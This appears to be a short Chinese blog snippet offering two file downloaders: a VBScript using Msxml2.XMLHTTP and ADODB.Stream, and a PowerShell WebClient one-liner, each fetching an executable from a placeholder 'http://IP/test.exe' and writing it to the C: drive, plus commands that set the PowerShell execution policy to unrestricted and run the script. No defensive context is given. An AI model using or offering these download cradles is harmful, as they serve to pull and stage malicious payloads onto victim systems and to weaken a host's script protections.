vbs下载者和powershell下载器

vbs

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://IP/test.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\z.exe",2
使用wscript test.vbs
powershell

$p = New-Object System.Net.WebClient
$p.DownloadFile("http://IP/test.exe","C:\\a.exe")

使用

powershell set-executionpolicy unrestricted
PowerShell -file test.ps1


你可能感兴趣的:(vbs下载者和powershell下载器)